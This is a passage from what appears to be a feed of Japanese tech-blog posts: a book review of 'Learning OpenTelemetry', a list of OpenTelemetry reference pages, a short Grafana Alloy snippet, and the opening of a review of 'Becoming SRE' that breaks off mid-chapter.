business.(ビジネスを忘れない)これらの格言は、可観測性の導入が技術的な課題であると同時に、ビジネス上の課題でもあることを示唆しています。OpenTelemetryの展開後の差別化次に、OpenTelemetryの導入後に、どのように差別化を図るかについて議論されています。テストとしての可観測性、グリーン可観測性、AI可観測性など、新たな可能性を探ることで、組織に優位性をもたらすことができると著者は主張しています。特に、テストとしての可観測性は興味深いアイデアだと感じました。トレースとメトリクスを使って、既知の良好な状態に対するシステムの動作を比較し、リグレッションを検出するというアプローチは、継続的デリバリーの品質ゲートとしても活用できそうです。最後に、大規模な組織でOpenTelemetryを展開するためのチェックリストが提供されています。経営陣が関与しているか?小さいが重要な最初のゴールを特定したか?最初のゴールを達成するために必要なことだけを実装しているか?早期の成功事例を見つけたか?可観測性を集中化したか?ナレッジベースを作成したか?新旧の可観測性システムを併存させられるか?これらのチェック項目は、OpenTelemetryの展開を成功に導くための重要な指針になるはずです。特に、早期の成功事例を見つけ、それを組織全体に広めていくことの重要性は、多くの組織で当てはまるのではないでしょうか。本章を通じて、可観測性の展開が、単なる技術的な課題ではなく、組織全体で取り組むべき変革の旅であることを再認識しました。OpenTelemetryは、その旅を支える強力な武器になるはずです。しかし、それを最大限に活用するには、自組織の状況を見極め、適切な戦略を選択することが求められます。Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸は、その選択を導くための羅針盤になるでしょう。早期の価値の実現とビジネスへの貢献を意識しながら、段階的にOpenTelemetryを展開していくことが成功の鍵だと感じました。個人的には、テストとしての可観測性やAI可観測性など、OpenTelemetryの新たな可能性についても興味をかき立てられました。従来のモニタリングの枠を超えて、より高度な分析や自動化につなげていくことで、可観測性の真価を発揮できるはずです。本章のチェックリストを参考に、自社におけるOpenTelemetryの展開計画を見直してみたいと思います。特に、早期の成功事例の発掘と、組織全体への波及効果の創出には注力したいと考えています。可観測性は、ソフトウェアエンジニアリングの未来を切り拓く重要な鍵です。OpenTelemetryを活用し、自組織に適した展開戦略を練ることで、その扉を開くことができるはずです。読者諸兄も、ぜひ自組織における可観測性の現状を振り返り、OpenTelemetryによる変革の機会を探ってみてください。Deep対Wide、Code対Collection、Centralized対Decentralizedの3つの軸を意識しながら、自組織に適したアプローチを見出していくことが重要です。可観測性の実現は、単なる技術の導入ではなく、組織文化の変革でもあります。OpenTelemetryを起点に、データ駆動の意思決定を根付かせ、ソフトウェアのパフォーマンスとビジネスの成果を強く結びつけていく。そのような組織づくりに、本章の知見が活かされることを期待しています。皆さんの組織では、可観測性の展開においてどのような課題に直面していますか? Deep対Wide、Code対Collection、Centralized対Decentralizedという3つの軸で見たとき、どのようなアプローチが有効だと考えますか? ぜひ、自組織の状況を共有し、知見を交換し合えればと思います。本章のまとめと著者の主張本書のまとめとして、著者らは次のように述べています。OpenTelemetryは、可観測性に必要不可欠なテレメトリデータを標準化・合理化し、従来の「3本柱」の考え方から脱却して、相関性の高い豊かなテレメトリデータの束へと移行するための戦略的な選択肢になる、と。可観測性の実現を通じて、ソフトウェアとビジネスの成果をより強く結びつけていく。そのような取り組みをしてみるのも良いのではないでしょうか(言うは易く行うは難し)?おわりに本書『Learning Opentelemetry』を通して、現代のソフトウェアシステムにおける可観測性の重要性と、それを実現するためのOpenTelemetryの役割について深く学ぶことができました。従来の可観測性の課題であったデータの分断を解消し、トレース、メトリクス、ログなどの様々なテレメトリデータを統合的に扱えるOpenTelemetryは、まさに可観測性の分野における革命的な存在だと言えるでしょう。本書は、OpenTelemetryの設計思想から実践的な活用方法まで、体系的かつ平易に解説されており、可観測性に関する理解を深めるための良きガイドとなりました。本書を読み進める中で、私自身、以下のような気づきと学びを得ることができました。現代のソフトウェアシステムの複雑性に立ち向かうには、可観測性が欠かせない要素であること。OpenTelemetryは、データの相関性と統一性を追求することで、より深い洞察を可能にすること。アプリケーション、ライブラリ、インフラストラクチャの各層で適切な計装を行うことが重要であること。テレメトリパイプラインの設計と運用が、可観測性の実現において極めて重要な役割を果たすこと。可観測性の展開は、単なる技術の導入ではなく、組織文化の変革でもあること。以下は、文章の順番を変更し、自然な流れになるように書き換えた結果です。OpenTelemetryがもたらすデータの相関性と統一性は、従来の縦割りのアプローチからの脱却を意味します。トレース、メトリクス、ログが別々のシステムで管理されていては、システム全体の動作を俯瞰的に理解することは困難です。OpenTelemetryは、これらのデータを単一のモデルに統合することで、より深い洞察を可能にするのです。さらに、可観測性の実現は、単なる技術的な問題ではなく、ビジネスの成功に直結する重要なテーマだと言えます。OpenTelemetryを活用することで、システムの動作を正確に把握し、パフォーマンスの問題や障害の兆候を早期に検出し、素早く対処できるようになります。また、可観測性の展開が組織文化の変革でもあるという点も非常に重要です。可観測性の真の価値は、組織を変革し、ソフトウェアのパフォーマンスとビジネスの成果を強く結びつけることにあります。そのためには、データを意思決定のインプットとして活用する方法について、組織全体でコミットメントを得る必要があります。本書で得られた知見を活かし、自社における可観測性の向上に取り組んでいきたいと強く意識しています。具体的には、OpenTelemetryを導入し、アプリケーション、ライブラリ、インフラストラクチャの各層で適切な計装を行うこと、テレメトリパイプラインを設計し、データの収集、処理、エクスポートを最適化すること、そして何より、可観測性をデータ駆動の意思決定の基盤とし、ソフトウェアとビジネスの成果を強く結びつけていくことが重要だと考えています。これらは、これからのソフトウェアエンジニアリングに求められる重要な課題であり、そのような高度な可観測性を実現することが、私たちSREやソフトウェアエンジニアに課せられた使命だと感じています。そして、読者諸兄にも感謝を申し上げます。1つ1つの気づきや学びを積み重ねることが、私たち自身の成長につながるだけでなく、ひいては業界全体の発展にもつながるのだと信じています。引き続き、OpenTelemetryと可観測性について学び、実践し、議論を深めていければと思います。みなさん、最後まで読んでくれて本当にありがとうございます。途中で挫折せずに付き合ってくれたことに感謝しています。読者になってくれたら更に感謝です。Xまでフォロワーしてくれたら泣いているかもしれません。参考資料OpenTelemetry 公式サイトOpenTelemetry | DocumentationDatadog’s $65M Bill and Why Developers Should CareDistributed Systems ObservabilityDesigning Distributed SystemsReport shows consumers won’t wait long for web pages to loadBurnout in software engineering: A systematic mapping studyObservability EngineeringIntroducing Domain-Oriented Microservice ArchitectureContextThe Four Golden SignalsGlossaryPropagators APITrace Context | W3C Recommendation OpenTelemetry Transformation LanguageSpecificationsEnd-User Q&A Series: Using OTel at FarfetchWhy and How eBay Pivoted to OpenTelemetryOpen Agent Management ProtocolOpenTelemetry LambdaOpenTelemetry Protocol with Apache ArrowCertain specialized transformationsCollectorOpenTelemetry Semantic Conventions 1.25.0OpenTelemetry Operator for KubernetesstanzaBuilding a custom collectorRouting processorOpenTelemetry Operator Helm ChartTarget AllocatorTraces For Kubernetes System Components","link":"https://syu-m-5151.hatenablog.com/entry/2024/04/16/180511","isoDate":"2024-04-16T09:05:11.000Z","dateMiliSeconds":1713258311000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"Grafana Alloy でメトリクス収集","contentSnippet":"Raspberry Pi を新しくしてからメトリクスの可視化を行っていなかったので Grafana Cloud で見れるようにセットアップしようと Grafana のサイトを見ていたら Alloy というものの存在を","link":"https://blog.1q77.com/2024/04/grafana-alloy/","isoDate":"2024-04-15T15:16:09.000Z","dateMiliSeconds":1713194169000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"OpenTelemetryについて調べる時に見るページ","contentSnippet":"はじめにOpenTelemetryは、分散システムの可観測性を向上させるためのオープンソースのフレームワークです。アプリケーションのパフォーマンス、動作、エラーなどを追跡し、収集されたデータを分析および視覚化することで、システムの健全性を監視し、問題の早期発見と解決に役立てることができます。約2年前にOpenTelemetryについてブログに書きましたが、その内容は現状と大分差異があるように感じます。OpenTelemetryプロジェクトは急速に発展しており、公式ページの充実や新しい機能や改善が続々と追加されています。また、多くの組織がOpenTelemetryを採用し、勉強会などで資料を公開したり、オープンソースおよび商用の可観測性ツールとの連携も進んでいます。syu-m-5151.hatenablog.com書籍も出ました。こちらも書評を書いている途中です(ちゃんとします)。Learning OpenTelemetry (English Edition)作者:Young, Ted,Parker, AustinO\'Reilly MediaAmazon本記事では、OpenTelemetryについて調べる際に参考になるページを紹介します。オススメがあればDMなどしてください。はじめに紹介するページについて1. The main OpenTelemetry website2. The OpenTelemetry GitHub organization3. The OpenTelemetry Enhancement Proposal repository4. The OpenTelemetry specification5.OpenTelemetry Semantic Conventions6. Organizations that have adopted OpenTelemetry7. OSS and commercial observability tools that support OpenTelemetry8.OpenTelemetry Meetup9. Datadog\'s $65M Bill and Why Developers Should Care10. Distributed Systems Observability11. Designing Distributed Systems12. Report shows consumers won\'t wait long for web pages to load13. Burnout in software engineering: A systematic mapping study14. Observability Engineering15. Introducing Domain-Oriented Microservice Architecture16. The Four Golden Signals17. Why and How eBay Pivoted to OpenTelemetry18. OpenTelemetry Lambda19. OpenTelemetry Protocol with Apache Arrow20. Context21. Propagators API22. Trace Context - W3C Recommendation23. OpenTelemetry Transformation Language24. OpenTelemetry Collector25. OpenTelemetry Operator for Kubernetes26. stanza27. Open Agent Management Protocol28. Traces For Kubernetes System Componentsまとめ紹介するページについて以下のページは、OpenTelemetryについて学ぶ際に役立つ情報を提供しています。1. The main OpenTelemetry website OpenTelemetryプロジェクトの公式ウェブサイトです。 プロジェクトの概要、ドキュメント、ブログ、イベントなどの情報が掲載されています。 OpenTelemetryを始めるための出発点として最適なページです。 特に、ドキュメントセクションでは、OpenTelemetryの概念、API、SDKなどについて詳しく解説されています。2. The OpenTelemetry GitHub organization OpenTelemetryプロジェクトのGitHubオーガニゼーションページです。 各プログラミング言語のSDKやツール、仕様などのリポジトリが管理されています。 コードの閲覧、イシューの確認、プルリクエストの提出などができます。3. The OpenTelemetry Enhancement Proposal repository OpenTelemetryの拡張提案(OTEP)を管理するリポジトリです。 新機能や変更の提案、議論、承認などのプロセスが記録されています。 OpenTelemetryの開発方針や将来の計画を知るのに役立ちます。4. The OpenTelemetry specification OpenTelemetryの仕様を定義しているリポジトリです。 API、SDK、データモデル、セマンティック規約などの詳細な仕様が記載されています。 OpenTelemetryの実装や互換性を理解するための重要なリソースです。 用語集や仕様書も参照すると理解が深まります。5.OpenTelemetry Semantic Conventions OpenTelemetryのセマンティック規約を定義しているリポジトリです。 属性、メトリック、リソース、イベントなどの命名規則や意味づけが規定されています。 一貫性のあるデータ収集とカタログ化を実現するための指針となります。 最新版の規約はこちらから確認できます。6. Organizations that have adopted OpenTelemetry OpenTelemetryを採用している組織の一覧ページです。 各組織の名前、ロゴ、採用事例などが紹介されています。 OpenTelemetryの実際の利用状況や適用範囲を知ることができます。 特に、eBayがOpenTelemetryに移行した理由と方法や、Farfetchでの使用事例などは参考になります。7. OSS and commercial observability tools that support OpenTelemetry OpenTelemetryをサポートしているオープンソースおよび商用の可観測性ツールの一覧ページです。 各ツールの名前、ロゴ、説明、リンクなどが掲載されています。 OpenTelemetryと連携可能なツールを探す際に便利です。8.OpenTelemetry Meetup 国内のOpenTelemetry に関する勉強会 ちょっとづつ具体的な話が増えてきている印象がある9. Datadog\'s $65M Bill and Why Developers Should Care この記事では、Datadogが直面した高額な請求問題と、それが開発者にとって何を意味するのかを洞察に富んだ視点で解説しています。コスト管理とパフォーマンス最適化に関して、開発者がどのように対応すべきかの実践的なアドバイスが含まれています。 OpenTelemetryを活用することで、ベンダーロックインを避け、コストを最適化できる可能性があります。10. Distributed Systems Observability 分散システムの可観測性に関する包括的なガイドを提供するこの書籍は、理論から実践までを網羅しています。特に、OpenTelemetryを含む様々なツールを用いた観測戦略が詳述されており、実用的な知識を深めるのに役立ちます。11. Designing Distributed Systems 分散システムを設計する際の重要な考慮事項を解説するこの資料は、システムの可観測性を高めるための実践的なデザインパターンを豊富に提供しています。読者にとって指導的なリソースとなるでしょう。12. Report shows consumers won\'t wait long for web pages to load ウェブサイトのパフォーマンスがエンドユーザーの行動にどのように影響するかを掘り下げたこのレポートは、サイトの速度とユーザー満足度の関係を明らかにしています。パフォーマンス監視の重要性についての価値ある洞察が得られます。 OpenTelemetryを使ってウェブアプリケーションのパフォーマンスを計測・改善することが、ユーザー体験の向上につながります。13. Burnout in software engineering: A systematic mapping study ソフトウェアエンジニアリングの分野で発生しているバーンアウト現象についての体系的な研究を提供するこの記事は、業界における心理的健康問題とその対策について詳細に分析しています。 システムの可観測性を高めることで、障害対応の負担を軽減し、エンジニアのストレスを緩和できる可能性があります。14. Observability Engineering 可観測性を中心に据えたこの書籍は、システムの透明性を高めるためのエンジニアリングプラクティスを提案しています。具体的な戦略やツールの使用方法が詳細に解説されており、技術者にとっては非常に参考になる内容です。15. Introducing Domain-Oriented Microservice Architecture Uberが採用しているドメイン指向のマイクロサービスアーキテクチャに焦点を当てたこの記事は、効率的なサービス設計と運用の実践例を提供しています。システムアーキテクトにとって貴重なケーススタディとなるでしょう。 OpenTelemetryを活用することで、マイクロサービス間の依存関係や性能を可視化し、最適化することができます。16. The Four Golden Signals Googleが提唱するシステムモニタリングの四つの基本指標(レイテンシー、トラフィック、エラー、飽和)について詳しく解説しています。効果的な監視システムの設計に不可欠な指標を、具体的な例と共に学ぶことができます。 OpenTelemetryを使って、これらの指標を収集・分析することができます。17. Why and How eBay Pivoted to OpenTelemetry eBayがなぜOpenTelemetryへの移行を決めたのか、そのプロセスはどのように進行したのかについての詳細な分析が行われています。大規模な技術移行を検討している企業にとって参考になる事例です。18. OpenTelemetry Lambda AWS LambdaでOpenTelemetryを効率良く使用するための実践的なガイドとリソースが提供されています。サーバレスアーキテクチャにおける可観測性の課題を克服するのに役立ちます。 自分の環境で利用しているFaaS(Function as a Service)についても、OpenTelemetryのサポート状況を調べてみることをお勧めします。19. OpenTelemetry Protocol with Apache Arrow Apache Arrowを利用してOpenTelemetryデータを効率的に処理する新たなプロトコルについての解説です。データ処理とパフォーマンスの最適化に関心がある開発者にとって重要なリソースです。20. Context OpenTelemetryのコンテキストについて解説しています。コンテキストは、分散トレーシングにおいて重要な役割を果たし、リクエストの流れを追跡するために使用されます。21. Propagators API OpenTelemetryのプロパゲーターAPIについて説明しています。プロパゲーターは、分散システム間でコンテキストを伝搬するために使用されます。22. Trace Context - W3C Recommendation W3Cが推奨するトレースコンテキストの仕様です。OpenTelemetryは、この仕様に準拠してトレース情報を伝搬します。23. OpenTelemetry Transformation Language OpenTelemetry Transformation Language(OTTL)は、OpenTelemetryデータを変換するための言語です。コレクターでデータを加工する際に使用されます。24. OpenTelemetry Collector OpenTelemetry Collectorは、テレメトリデータを収集、処理、エクスポートするためのコンポーネントです。設定ファイルを使って柔軟に構成できます。 ルーティングプロセッサや特殊な変換など、高度な機能も提供されています。 カスタムコレクターの構築も可能です。25. OpenTelemetry Operator for Kubernetes Kubernetes環境でOpenTelemetryを簡単に導入するためのOperatorです。 Helm Chartも提供されています。 Target Allocatorを使って、リソースの動的割り当てが可能です。26. stanza OpenTelemetry Collectorのログパーサーおよびプロセッサです。 柔軟なログ解析とOpenTelemetryフォーマットへの変換が可能です。27. Open Agent Management Protocol エージェントの設定や管理を統一的に行うためのプロトコルです。 OpenTelemetryエージェントの一元管理を可能にします。28. Traces For Kubernetes System Components Kubernetes自体のシステムコンポーネントのトレースを取得する方法について解説しています。 OpenTelemetryを使ってKubernetesの内部動作を可視化できます。まとめ本記事では、OpenTelemetryについて学ぶ際に参考になるページを紹介しました。公式ドキュメントやGitHubリポジトリ、仕様書、採用事例、関連書籍など、様々な角度からOpenTelemetryについて理解を深められる資料を取り上げました。特に、分散システムの可観測性やOpenTelemetryの設計思想については、『Distributed Systems Observability』や『Observability Engineering』などの書籍が詳しく解説しています。また、eBayやUberといった大企業での導入事例は、実際のOpenTelemetry活用方法を知る上で参考になるでしょう。さらに、OpenTelemetryの各種機能や関連プロジェクトについても触れました。コンテキストの伝搬、データ変換、Kubernetes連携など、OpenTelemetryのエコシステムは非常に広がりを見せています。これらのリソースを活用することで、システムの可観測性を高め、運用効率の改善やパフォーマンスの最適化につなげることができるでしょう。","link":"https://syu-m-5151.hatenablog.com/entry/2024/04/09/160824","isoDate":"2024-04-09T07:08:24.000Z","dateMiliSeconds":1712646504000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"なれる!SRE - Becoming SREで学んだこと","contentSnippet":"はじめにエンジニアとして就職する前に読んだ「なれる!SE 2週間でわかる?SE入門」の内容があまりにも厳しく、業界に就職するのが怖くなったことを覚えています。本の中に登場する中学生の少女にしか見えない凄腕のSE、室見立華さんのような人物は現実には存在しないでしょうが、実際の業界には彼女のような凄腕エンジニアや年齢不相応な技術力を持つ人間も確かに存在します。なれる!SE 2週間でわかる?SE入門 (電撃文庫)作者:夏海 公司,IxyKADOKAWAAmazonSREの探求『Becoming SRE』の内容紹介私は「なれる!SE」が好きすぎるあまり、「なれる!SRE」というタイトルのクソみたいな文章を吐き出したこともありましたが、そのクオリティがあまりにも低かったため、外には公開せずに留めておきました。そんな中、SREの探求の原著者であるDavid Blank-Edelman(otterbook)氏による「Becoming SRE」が 2024年2月にリリースされました。learning.oreilly.com本書では、SREの基本的な考え方や文化について解説し、SREになるために必要なスキルや知識、実際の仕事内容を紹介しています。また、組織にSREを導入するために必要な要件やうまく定着させるためのポイント、SREと他部門との協働について言及し、組織の中でSREを成長・成熟させていくための方法論を提示しています。はじめにSREの探求『Becoming SRE』の内容紹介『Becoming SRE』の構成Part I: Introduction to SREPart II: Becoming SRE for the IndividualPart III: Becoming SRE for the OrganizationPart I: Introduction to SREChapter 1. First Things FirstSREの定義と3つの重要な単語SREとは何かSREとDevOpsの関係性Chapter 2. SRE MindsetSREにとって大切な問いかけSREの反脆弱性を高める営みSREのマインドセットを実践していくことの難しさChapter 3. SRE CultureSREの文化を育むことの重要性SREの文化を育むためのプロセスSREの文化を育む困難さと重要性Chapter 4. Talking About SRE (SRE Advocacy)SREについて語ることの重要性効果的なストーリーを語るための心構えII. Becoming SRE for the IndividualChapter 5. Preparing to Become an SRESREになるために必要な基礎知識SREの本質を追求する姿勢にこそ職責があるSREへの第一歩Chapter 6. Getting to SRE from…様々なバックグラウンドを持つ人々がSREを目指せるシステム管理者からシステム管理が得意なSREになったSREへの道のりは平坦ではないChapter 7. Hints for Getting Hired as an SRE答えは用意しておきますSREの面接は双方向のコミュニケーション日々の仕事の中で信頼性への意識を研ぎ澄ますChapter 8. A Day in the Life of an SRESREの多様な役割とコラボレーションの重要性SREのワークライフバランスSREの業務バランスChapter 9. Establishing a Relationship to ToilToilを単に「嫌な仕事」と片付けないToilに注目する3つの要因Toilとの健全な付き合い方Chapter 10. Learning from Failure障害からの学びはSREの中核的な活動ポストモーテムでも良いレジリエンスエンジニアリングの知見を吸収し活用するPart III. Becoming SRE for the OrganizationChapter 11. Organizational Factors for SuccessSREの導入には組織のあり方そのものの見直しが必要な時もあるSREは技法や手法だけでできたら苦労はしねぇSREの真価を発揮するための組織体制結局、組織じゃんって話Chapter 12. How SRE Can FailSREの失敗は組織全体にネガティブな影響を及ぼしかねないSREは失敗をどう扱うのか?SREの失敗から立ち直るためのマインドセットChapter 13. SRE from a Business Perspective信頼性はサービスの最も重要な機能SREの価値を経営層に伝え続けることの重要性Chapter 14. The Dickerson Hierarchy of Reliability (A Good Place to Start)信頼性向上の第一歩としての The Dickerson Hierarchy of ReliabilitySREの真骨頂は試行錯誤にありChapter 15. Fitting SRE into Your OrganizationSREの導入には組織のカルチャーや構造とのフィット感が重要気を整え 拝み 祈り 構えて 突くデータに基づく意思決定の習慣を根付かせるSREの実践Chapter 16. SRE Organizational Evolutionary StagesSREは組織全体のマインドセットと文化の変革を必要とするSRE組織の5段階の成熟度モデルSREの真髄は組織文化の変革にあるChapter 17. Growing SRE in Your OrgSREの成長は「大きいほど良い」とは限らないSREの組織の規模による分類SREが組織の風土に合わせて多様な形で発展していくChapter 18. ConclusionSREの本質はシステムの信頼性という崇高な目標にあるSREは素晴らしくやりがいある仕事おわりにSREは技術を超え組織文化そのものを変革していくSREの旅に終わりはないこれらの内容は、SREを目指す個人だけでなく、組織としてSREを取り入れようとする企業にとっても、大変参考になるのではないでしょうか。「なれる!SE」に感化されて書いた拙い文章とは異なり、「Becoming SRE」は、SREという職種について、より深く理解するための良書になると期待しています。2024年2月に出版されたのですが、SREに関心のある方は、ぜひ一読してみることをおすすめします。翻訳本が出版されるのが今からとても楽しみです。Becoming SRE: First Steps Toward Reliability for You and Your Organization (English Edition)作者:Blank-Edelman, David N.O\'Reilly MediaAmazon『Becoming SRE』の構成『Becoming SRE』は、Site Reliability Engineering (SRE) の入門書であり、個人と組織の両方を対象に、SREをどのように始めるべきかを解説しています。著者は、SREに関する豊富な知識と経験を持ち、多くの人々との対話を通じて得た洞察を本書に凝縮されています。本書は大きく3つのパートに分かれており、それぞれが独立した内容となっているが、全体を通して読むことで、SREの本質的な理解が深まる構成になっています。Part I: Introduction to SRE第1部では、SREを始めるにあたって必要な基礎知識が提供されている。特に、第2章ではSREのマインドセットについて詳しく解説されており、SREの根底にある考え方や価値観を理解することができる。この章は、SREに関する議論を進める上で欠かせない土台となるため、第2部と第3部を読む前に必ず読むべき内容となっている。また、SREに関連する重要な概念や用語についても丁寧に説明されているため、初学者にとっても分かりやすい内容になっている。Part II: Becoming SRE for the Individual第2部では、個人としてSREを始めるための具体的な方法論が述べられている。SREに必要なスキルセットや知識、学習方法などが詳細に紹介されており、SREを目指す人にとって実践的な指南書となっている。また、SREの日常業務やキャリアパスについても言及されているため、SREという職種をより深く理解することができる。著者自身の経験や、他のSREエンジニアとの対話から得た知見も随所に盛り込まれており、生きたアドバイスが得られる内容になっている。Part III: Becoming SRE for the Organization第3部では、組織としてSREを導入・発展させるための指針が提示されている。SREの導入に必要な要件や、組織文化との適合性、他部門との協働など、SREを組織に定着させるためのポイントが詳しく解説されている。また、SREチームの構築や育成、SREプラクティスの継続的な改善についても言及されており、組織としてSREを成功させるためのヒントが数多く提供されている。さらに、実際にSREを導入した企業の事例も紹介されているため、具体的なイメージを持ちながら読み進めることができる。第2部と第3部は、読者の関心に応じてどちらを先に読んでも構わないが、個人と組織は密接に関連しているため、両方を読むことで理解がより深まるだろう。また、最後に収録されているベテランSREエンジニアからの助言は、SREの本質を捉えた良い内容になっており、SREを志す人にとって大きな励みになるはずだ。本書の特徴の一つは、SREに関する他の優れた書籍や情報源を数多く参照していることだ。著者は、自身の知見だけでなく、SREコミュニティの集合知を積極的に取り入れることで、読者により広い視野を提供している。また、SREの実装や解釈は組織によって異なり得ることを認めた上で、SREについての対話を促していることも重要なポイントだ。著者は \\"SRE should be a conversation, not a doctrine.\\"(SREは教義ではなく、会話であるべきだ)というメッセージを発しており、SREをめぐる活発な議論の重要性を呼びかけている。『Becoming SRE』は、SREの入門書でありながら、奥深い内容を含んだ一冊だ。初学者から経験者まで、幅広い読者に対して、SREについての理解を深め、実践するための指針を提供してくれる。SREに関心を持つ全ての人にとって、必読の書と言えるだろう。Part I: Introduction to SREChapter 1. First Things FirstSREの定義と3つの重要な単語本章は、SREについての理解が深めるための章。著者が提示したSREの定義、「Site reliability engineering is an engineering discipline devoted to helping organizations sustainably achieve the appropriate level of reliability in their systems, services, and products.」は、SREの本質をよく捉えていると感じた。この定義の中で特に重要な3つの単語として、著者が挙げたのは \\"Reliability(信頼性)\\", \\"Appropriate(適性)\\", \\"sustainable(持続可能性)\\" です。システムの信頼性は、組織の収益、評判、従業員の健康などに直結する重要な要素であり、SREの中核をなすものです。また、100%の信頼性を目指すのではなく、SLI/SLOを用いて適切な信頼性のレベルを見極めることが肝要だと説く点も納得できる。そして、信頼性の追求は、人的リソースの持続可能性とのバランスを考慮しなければならない。過度な信頼性の追求が、エンジニアの疲弊を招いては本末転倒です。SREとは何か2014年のSREconで行った講演では、SREの要諦が端的に表現されており、現在でも色褪せない洞察に満ちている。Ben Treynor Sloss氏によれば、SREとは次のような特徴を持つ組織だという。コーダーのみを雇用し、サービスに対するSLAを設定する。そして、そのSLAに対する性能を測定・報告し、エラー予算を活用してゲートローンチを行う。SREチームとDEVチームの間で人材を共有し、SREチームの運用負荷は50%に抑えつつ、運用作業の5%をDEVチームと共有する。オンコールチームは少なくとも8人、できれば6\xd72の体制を取り、1シフトあたりのイベント数は最大2件までとする。イベントが発生した際には、必ずポストモーテムを行う。ポストモーテムでは非難を避け、プロセスと技術に焦点を当てた議論を行うことが重要です。つまり、SREとは、高い信頼性を持つシステムを構築・運用するための体系的なアプローチであり、エンジニアリングと運用のベストプラクティスを組み合わせたものと言えるとおもいます。www.youtube.comSREとDevOpsの関係性SREとDevOpsの関係性については、本書で提示された3つの見方がそれぞれ示唆に富んでいる。1つ目の「SREはDevOpsの一実装である」という見方は、SREとDevOpsが共有する理念や手法に着目したものです。両者はともに、開発と運用の協調を重視し、自動化やツールの活用を推進する点で共通している。ただし、著者が指摘するように、DevOpsが特定の方法論やツールを規定しないのに対し、SREはより規範的(prescriptive)なアプローチを取る傾向があります。2つ目の「SREの信頼性に対するDevOpsのデリバリー」という対比は、両者の目的の違いを浮き彫りにしている。SREが systems の信頼性(reliability)の確保を最重要視するのに対し、DevOpsはソフトウェアのデリバリー(delivery)に主眼を置く。もちろん、信頼性の高いシステムを迅速にデリバリーすることは、両者に共通する目標ではあるが、力点の置き方が異なります。3つ目の「SREとDevOpsでは、関心の方向性が異なる」この言葉はSREとDevOpsの関心の方向性の違いを鮮やかに描き出している。SREは本番環境から出発し、「本番環境の信頼性を確保するために、開発者は何をすべきか」という観点から、開発の方向へと関心を向ける。一方、DevOpsは開発者の環境から出発し、「開発者が書いたコードを、いかにして本番環境に迅速かつ安全にデリバリーするか」という観点から、本番環境の方向へと関心を向ける。Figure 1-2. The Limoncelli model of SRE, DevOps, and Agile strategies. Modified from the original in Seeking SRE (O’Reilly, 2018). より引用この違いは、両者が重視するツールや手法にも反映される。例えば、SREはモニタリングやインシデント管理、カオスエンジニアリングなどの運用面のツールを重視するのに対し、DevOpsはCIツールやコンテナ技術などのデリバリーを加速するツールを重視する傾向があります。ただし、著者が強調するように、SREとDevOpsは二者択一ではなく、むしろ補完的な関係にあると捉えるべきだろう。組織の規模やビジネス特性、技術的成熟度などに応じて、SREとDevOpsの手法を適切に組み合わせることが肝要です。このへんは可視化されているDevOps Topologiesを参考にしても分かりやすいかもしれないです。web.devopstopologies.com例えば、スタートアップのような小規模な組織では、DevOpsの手法を全面的に採用し、エンジニア全員がデリバリーと運用の両方に携わるのが適切かもしれない。一方、大規模なシステムを運用する組織では、SREの手法を導入し、信頼性の確保に特化したチームを設置することが有効だろう。いずれにせよ、SREとDevOpsのどちらか一方を選ぶのではなく、両者の長所を活かし、組織の文脈に合わせて柔軟に適用していくことが重要です。そのためには、両者の理念や手法を深く理解し、自組織の目的や制約に照らし合わせて、最適な方法論を構築する必要があります。本書の第1章で提示されたSREとDevOpsの関係性に関する考察は、そのための出発点として大変良いものだった。今後は、本書で得た知見を土台に、SREとDevOpsの実践方法を探求するときに活用していきたい。。つまり、SREとは、高い信頼性を持つシステムを構築・運用するための体系的なアプローチであり、エンジニアリングと運用のベストプラクティスを組み合わせたものと言えるとおもいます。Chapter 2. SRE MindsetSREにとって大切な問いかけ本章は、著者自身の経験と、他のSREとの対話から得られた洞察を基に、SREのマインドセットを形作る大切な要素について分かりやすく説明されていました。最初に出てくる \\"システムはどのように動作しているのか?どのように失敗するのか?\\" という問いかけは、SREの思考法の根っこにあるものだと感じました。システムの信頼性を追求するには、その動作原理と障害パターンを徹底的に理解する必要があります。著者が強調しているように、SREにとって大切なのは \\"どのように動作すべきか\\" ではなく \\"実際の本番環境ではどのように動作しているのか\\" なんですよね。システムを理解するためには、ミクロなレベルからマクロなレベルまで、あらゆる粒度でシステムを観察して、分析しなければいけません。著者が例に挙げているデータベース接続の話は、一見些細なことのように思えるかもしれませんが、**SREはそこから派生するいろんな問題を想定して、システム全体への影響を考えなくちゃいけないんです。システムを理解する例として最近公開された ブラウザからDBに行き着くまでをただまとめる のような取り組みを自サービスで行うと効果的と考えています。システムの動作を自身で調べながら書き出していくという点でSREの探求20章でアクティブラーニングで紹介された事例に近いものがあります。zenn.dev著者が \\"Understanding a System as a System\\" というコラムで紹介しているシナリオは、SREにとってのシステム思考の重要性をよく表していました。データセンターで電源ケーブルが切れるという一つの出来事が、いくつもの要因が絡み合って、最終的にお客さんの購買機会の損失につながっていく流れが描かれています。このシナリオは、システム障害の責任を特定の個人に押し付けるのではなく、システム全体の問題として捉えることの大切さを教えてくれています。SREのマインドセットで大事なのは、お客さんの立場に立つことだと著者は指摘しています。システムの信頼性は、コンポーネントの視点ではなく、お客さんの視点から測定されるべきなんです。100台のWebサーバーのうち14台が故障した場合のシナリオは、このことをはっきりと示していました。SREは常に、システムがお客さんからどう見えているのかを意識して、お客さんの期待に応えることを目指しているんですよね。SREのマインドセットの特徴の一つは、フィードバックループの重要性を理解していることだと著者は述べています。信頼性の向上は、継続的なフィードバックループを通じて達成されるんです。SREの役割は、システムのあらゆる場所でフィードバックループを見つけ出して、育てていくことにあります。それから、SREは他者とのコラボレーションを大切にするという点も印象に残りました。信頼性の追求は、絶対に一人では成し遂げられません。SREは、開発者、運用チーム、マネージャー、そしてお客さんを含むいろんな関係者と協力しながら、システムの信頼性を高めていくんです。特に、お客さんとのコラボレーションについて著者が提示した \\"お客さんと一緒に信頼性を高めるためにどうやって協力できるだろう?\\" という問いは、SREのあり方を考える上でとても示唆に富んでいると思いました。SREの反脆弱性を高める営みSREの失敗(failure)や障害(error)に対する姿勢も興味深かったです。SREは、失敗をネガティブなものとしてではなく、学びのチャンスとして捉えるんです。障害は、システムについての理解を深めるための貴重な情報源なんですよね。対話から得た \\"障害をシグナルとして扱う\\" という著者の学びは、SREのマインドセットをズバリ表していると感じました。この考え方は、『反脆弱性――不確実な世界を生き延びる唯一の考え方』で提唱されている \\"反脆弱性\\" 